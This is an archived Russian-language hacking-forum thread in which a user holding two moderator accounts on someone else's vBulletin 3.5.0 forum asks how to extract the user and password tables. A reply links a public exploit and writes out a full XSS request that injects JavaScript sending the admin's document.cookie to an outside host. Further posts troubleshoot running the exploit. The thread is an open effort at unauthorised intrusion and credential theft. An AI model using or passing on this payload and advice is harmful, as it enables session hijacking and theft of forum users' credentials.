PDA

Просмотр полной версии : Vbulletin 3.5.0 + аккаунты модераторов = ?


Minsor
27.05.2008, 11:54
Здравствуйте, господа хорошие.

Вот есть форум на Vbulletin 3.5.0, есть два работающих аккаунта модераторов - что с этим можно сделать в плане добычи таблиц типа user; pass и т.п.?

P.S. Профиль не мой, но заначку терять нет желания, так что если кто чем поможет - с меня причитается.

maxster
27.05.2008, 13:36
емть эксплойт для версий ниже 3.6.4, там как раз нужны привелигии модеров.
ссылко (http://milw0rm.com/exploits/3387)
или еще, как вариант, от имени модера попробывать отправить админа на хсс

www.xz.сom/forumpath/newthread.php?do=newthread&f=3&subject=1234&WYSIWYG_HTML=%3Cp%3E%3C%2Fp%3E&s=&f=3&do=postthread&posthash=c8d3fe38b082b6d3381cbee17f1f1aca&poststarttime='%2Bimg = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;%2B'&sbutton=%D1%EE%E7%E4%E0%F2%FC+%ED%EE%E2%F3%FE+%F2% E5%EC%F3&parseurl=1&disablesmilies=1&emailupdate=3&postpoll=yes&polloptions=1234&openclose=1&stickunstick=1&iconid=0

Minsor
27.05.2008, 14:27
Сенкс за эксплойт, но я не врубаюсь как он работает: заполняю все нужные поля типа host, path, user и т.д., запускаю и появляется пустая страница. (На моем хостинге пхп работает и другие сплоиты отрабатывают).

Кто работал с этим эксплоитом - объясните в чем суть и как правильно делать. Сенкс.

maxster
27.05.2008, 20:33
Почитай поймешь как запускать :)

клацк (http://forum.antichat.ru/thread26510.html)